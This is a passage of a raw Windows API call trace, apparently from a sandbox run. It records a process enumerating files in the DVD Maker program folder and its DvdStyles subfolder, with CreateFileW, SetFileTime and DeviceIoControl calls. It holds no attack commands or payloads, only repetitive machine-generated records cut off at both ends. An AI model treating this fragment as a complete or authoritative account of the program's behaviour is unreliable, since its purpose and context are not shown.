ftCreationTime.dwLowDateTime=0xb0b6b5be, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb0b6b5be, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb0bb787f, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1c4600, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pipeline.dll", cAlternateFileName="")) returned 1 [0055.524] FindNextFileW (in: hFindFile=0x459c78, lpFindFileData=0x17af1f8 | out: lpFindFileData=0x17af1f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc7b5c53e, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0xc7b5c53e, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x43aceae0, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x1cc000, dwReserved0=0x0, dwReserved1=0x0, cFileName="PipeTran.dll", cAlternateFileName="")) returned 1 [0055.524] FindNextFileW (in: hFindFile=0x459c78, lpFindFileData=0x17af1f8 | out: lpFindFileData=0x17af1f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0eb1404, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb0eb1404, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb0eb1404, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x13400, dwReserved0=0x0, dwReserved1=0x0, cFileName="rtstreamsink.ax", cAlternateFileName="")) returned 1 [0055.524] FindNextFileW (in: hFindFile=0x459c78, lpFindFileData=0x17af1f8 | out: lpFindFileData=0x17af1f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0c03b3f, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb0c03b3f, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb0c03b3f, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xce00, dwReserved0=0x0, dwReserved1=0x0, cFileName="rtstreamsource.ax", cAlternateFileName="")) returned 1 [0055.524] FindNextFileW (in: hFindFile=0x459c78, lpFindFileData=0x17af1f8 | out: lpFindFileData=0x17af1f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd55c168a, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0xd55c168a, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x499cc441, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x18208, dwReserved0=0x0, dwReserved1=0x0, cFileName="SecretST.TTF", cAlternateFileName="")) returned 1 [0055.524] FindNextFileW (in: hFindFile=0x459c78, lpFindFileData=0x17af1f8 | out: lpFindFileData=0x17af1f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x9f0852f1, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f0852f1, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Shared", cAlternateFileName="")) returned 1 [0055.524] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared" (normalized: "c:\\program files\\dvd maker\\shared"), fInfoLevelId=0x0, lpFileInformation=0x17af0f4 | out: lpFileInformation=0x17af0f4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x9f0852f1, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f0852f1, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0055.524] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared" (normalized: "c:\\program files\\dvd maker\\shared"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x180 [0055.524] SetFileTime (hFile=0x180, lpCreationTime=0x0, lpLastAccessTime=0x17af138, lpLastWriteTime=0x17af138) returned 0 [0055.524] DeviceIoControl (in: hDevice=0x180, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xf0a738, nOutBufferSize=0x4000, lpBytesReturned=0x17af190, lpOverlapped=0x0 | out: lpOutBuffer=0xf0a738, lpBytesReturned=0x17af190, lpOverlapped=0x0) returned 0 [0055.525] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf0a738) returned 1 [0055.525] NtClose (Handle=0x180) returned 0x0 [0055.525] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0055.525] FindFirstFileExW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\*", fInfoLevelId=0x1, lpFindFileData=0x17aef40, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17aef40) returned 0x459d38 [0055.526] FindNextFileW (in: hFindFile=0x459d38, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x9f0852f1, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f0852f1, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0055.526] FindNextFileW (in: hFindFile=0x459d38, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93dab239, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0x93dab239, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x68934cfd, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x30e4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Common.fxh", cAlternateFileName="")) returned 1 [0055.526] FindNextFileW (in: hFindFile=0x459d38, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93d12cc5, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0x93d12cc5, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x6895ae5b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x6d1f, dwReserved0=0x0, dwReserved1=0x0, cFileName="DissolveAnother.png", cAlternateFileName="")) returned 1 [0055.526] FindNextFileW (in: hFindFile=0x459d38, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93d38e22, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0x93d38e22, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x68980fb9, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb7835, dwReserved0=0x0, dwReserved1=0x0, cFileName="DissolveNoise.png", cAlternateFileName="")) returned 1 [0055.526] FindNextFileW (in: hFindFile=0x459d38, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f0852f1, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaabb4389, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1ad8615, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DvdStyles", cAlternateFileName="")) returned 1 [0055.526] FindNextFileW (in: hFindFile=0x459d38, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9060745b, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0x9060745b, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x4877fc17, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x379f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Filters.xml", cAlternateFileName="")) returned 1 [0055.526] FindNextFileW (in: hFindFile=0x459d38, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93e437ad, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0x93e437ad, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x689cd275, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x8edf, dwReserved0=0x0, dwReserved1=0x0, cFileName="Parity.fx", cAlternateFileName="")) returned 1 [0055.526] FindNextFileW (in: hFindFile=0x459d38, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93e437ad, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0x93e437ad, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x689cd275, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x8edf, dwReserved0=0x0, dwReserved1=0x0, cFileName="Parity.fx", cAlternateFileName="")) returned 0 [0055.526] GetLastError () returned 0x12 [0055.526] FindFirstFileExW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\*", fInfoLevelId=0x1, lpFindFileData=0x17aef40, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17aef40) returned 0x459bf8 [0055.527] FindClose (in: hFindFile=0x459d38 | out: hFindFile=0x459d38) returned 1 [0055.527] FindNextFileW (in: hFindFile=0x459bf8, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x9f0852f1, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f0852f1, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0055.527] FindNextFileW (in: hFindFile=0x459bf8, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93dab239, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0x93dab239, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x68934cfd, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x30e4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Common.fxh", cAlternateFileName="")) returned 1 [0055.527] FindNextFileW (in: hFindFile=0x459bf8, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93d12cc5, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0x93d12cc5, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x6895ae5b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x6d1f, dwReserved0=0x0, dwReserved1=0x0, cFileName="DissolveAnother.png", cAlternateFileName="")) returned 1 [0055.527] FindNextFileW (in: hFindFile=0x459bf8, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93d38e22, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0x93d38e22, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x68980fb9, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb7835, dwReserved0=0x0, dwReserved1=0x0, cFileName="DissolveNoise.png", cAlternateFileName="")) returned 1 [0055.527] FindNextFileW (in: hFindFile=0x459bf8, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f0852f1, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaabb4389, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1ad8615, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DvdStyles", cAlternateFileName="")) returned 1 [0055.527] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles"), fInfoLevelId=0x0, lpFileInformation=0x17aee3c | out: lpFileInformation=0x17aee3c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f0852f1, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaabb4389, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1ad8615, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0055.527] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x180 [0055.527] SetFileTime (hFile=0x180, lpCreationTime=0x0, lpLastAccessTime=0x17aee80, lpLastWriteTime=0x17aee80) returned 0 [0055.527] DeviceIoControl (in: hDevice=0x180, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xf0c738, nOutBufferSize=0x4000, lpBytesReturned=0x17aeed8, lpOverlapped=0x0 | out: lpOutBuffer=0xf0c738, lpBytesReturned=0x17aeed8, lpOverlapped=0x0) returned 0 [0055.527] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf0c738) returned 1 [0055.528] NtClose (Handle=0x180) returned 0x0 [0055.528] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed3e40) returned 1 [0055.528] FindFirstFileExW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\*", fInfoLevelId=0x1, lpFindFileData=0x17aec88, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17aec88) returned 0x459d38 [0055.529] FindNextFileW (in: hFindFile=0x459d38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f0852f1, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaabb4389, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1ad8615, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0055.530] FindNextFileW (in: hFindFile=0x459d38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ec183f4, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ec183f4, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49c9fe3b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x278b, dwReserved0=0x0, dwReserved1=0x0, cFileName="16to9Squareframe_Buttongraphic.png", cAlternateFileName="")) returned 1 [0055.530] FindNextFileW (in: hFindFile=0x459d38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ec3e551, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ec3e551, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49c9fe3b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xcd6, dwReserved0=0x0, dwReserved1=0x0, cFileName="16to9Squareframe_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0055.530] FindNextFileW (in: hFindFile=0x459d38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ec3e551, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ec3e551, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49c9fe3b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xcf4, dwReserved0=0x0, dwReserved1=0x0, cFileName="16to9Squareframe_VideoInset.png", cAlternateFileName="")) returned 1 [0055.530] FindNextFileW (in: hFindFile=0x459d38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ec646ae, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ec646ae, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49cc5f99, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2e55, dwReserved0=0x0, dwReserved1=0x0, cFileName="4to3Squareframe_Buttongraphic.png", cAlternateFileName="")) returned 1 [0055.530] FindNextFileW (in: hFindFile=0x459d38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ec646ae, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ec646ae, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49cc5f99, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xce8, dwReserved0=0x0, dwReserved1=0x0, cFileName="4to3Squareframe_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0055.530] FindNextFileW (in: hFindFile=0x459d38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ec8a80b, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ec8a80b, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49cc5f99, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xd8b, dwReserved0=0x0, dwReserved1=0x0, cFileName="4to3Squareframe_VideoInset.png", cAlternateFileName="")) returned 1 [0055.530] FindNextFileW (in: hFindFile=0x459d38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f9e8c42, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa7d4443, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9fbd8be5, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BabyBoy", cAlternateFileName="")) returned 1 [0055.531] FindNextFileW (in: hFindFile=0x459d38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa12338ef, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaab67eab, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa15a10e8, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BabyGirl", cAlternateFileName="")) returned 1 [0055.531] FindNextFileW (in: hFindFile=0x459d38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ecb0968, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ecb0968, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4b5ea6a7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1276, dwReserved0=0x0, dwReserved1=0x0, cFileName="BlackRectangle.bmp", cAlternateFileName="")) returned 1 [0055.531] FindNextFileW (in: hFindFile=0x459d38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ebf2297, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ebf2297, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4c9679c1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x6a91, dwReserved0=0x0, dwReserved1=0x0, cFileName="circleround_glass.png", cAlternateFileName="")) returned 1 [0055.531] FindNextFileW (in: hFindFile=0x459d38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ebf2297, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ebf2297, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4c9679c1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xf26, dwReserved0=0x0, dwReserved1=0x0, cFileName="circleround_selectionsubpicture.png", cAlternateFileName="")) returned 1 [0055.531] FindNextFileW (in: hFindFile=0x459d38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ebcc13a, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ebcc13a, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4c9679c1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13c3, dwReserved0=0x0, dwReserved1=0x0, cFileName="circleround_videoinset.png", cAlternateFileName="")) returned 1 [0055.531] FindNextFileW (in: hFindFile=0x459d38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6edbb2f3, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6edbb2f3, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4c53d379, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x6a91, dwReserved0=0x0, dwReserved1=0x0, cFileName="Circle_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0055.531] FindNextFileW (in: hFindFile=0x459d38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e990cc7, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6e990cc7, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4c7063e1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="circle_glass_Thumbnail.bmp", cAlternateFileName="")) returned 1 [0055.531] FindNextFileW (in: hFindFile=0x459d38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ede1450, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ede1450, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4c7063e1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xf26, dwReserved0=0x0, dwReserved1=0x0, cFileName="Circle_SelectionSubpictureA.png", cAlternateFileName="")) returned 1 [0055.531] FindNextFileW (in: hFindFile=0x459d38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ede1450, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ede1450, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4c7063e1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc8f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Circle_SelectionSubpictureB.png", cAlternateFileName="")) returned 1 [0055.531] FindNextFileW (in: hFindFile=0x459d38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ee2d70a, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ee2d70a, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4c9679c1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13c3, dwReserved0=0x0, dwReserved1=0x0, cFileName="Circle_VideoInset.png", cAlternateFileName="")) returned 1 [0055.531] FindNextFileW (in: hFindFile=0x459d38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ea030de, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ea030de, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4c9fff39, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cloud_Thumbnail.bmp", cAlternateFileName="")) returned 1 [0055.531] FindNextFileW (in: hFindFile=0x459d38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ee2d70a, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ee2d70a, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4c9fff39, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x5c9f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Dot.png", cAlternateFileName="")) returned 1 [0055.531] FindNextFileW (in: hFindFile=0x459d38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ee799c4, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ee799c4, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4cb30a29, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, 